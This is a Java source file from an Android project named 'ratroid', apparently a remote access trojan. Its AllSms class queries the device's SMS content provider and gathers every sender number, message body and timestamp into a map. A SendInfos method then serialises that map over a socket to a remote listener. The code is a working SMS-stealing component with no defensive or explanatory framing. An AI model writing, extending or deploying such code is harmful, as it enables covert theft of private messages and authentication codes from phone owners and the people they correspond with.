package com.hicham.ratroid;

import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.HashMap;

import android.annotation.SuppressLint;
import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;

@SuppressLint("SimpleDateFormat")
public class AllSms {

	private HashMap<String, String> smsinfo;
	private Context context;
    private int i=0;
	
	public AllSms(Context con1){
		
		context=con1;
		
		Uri allMessage = Uri.parse("content://sms/");
        ContentResolver cr = context.getContentResolver();
        Cursor c = cr.query(allMessage, null, null, null, null);

         smsinfo = new HashMap<String, String>();
        while  (c.moveToNext()) 
        {
        	i++;
        	String key = String.valueOf(i);
        	String num = c.getString(2);
        	smsinfo.put(key, num);
        	
        	i++;
        	key = String.valueOf(i);
        	String msg=c.getString(11);
        	smsinfo.put(key, msg);
        	
        	i++;
        	key = String.valueOf(i);
        	DateFormat formatter = new SimpleDateFormat("dd/MM/yyyy hh:mm:ss");
        	final Calendar cal = Calendar.getInstance();
        	long time = Long.parseLong(c.getString(4));
        	cal.setTimeInMillis(time);
        	String date=formatter.format(cal.getTime());
        	smsinfo.put(key, date);
        
        }
		
	}
	
	public void SendInfos(Sender s) {

		try{
		OutputStream os = s.s.getOutputStream();  
		ObjectOutputStream oos = new ObjectOutputStream(os); 
		oos.writeObject(smsinfo);
		//oos.flush();
		}catch(Exception e){
			System.out.println(e);
			}
	}

}
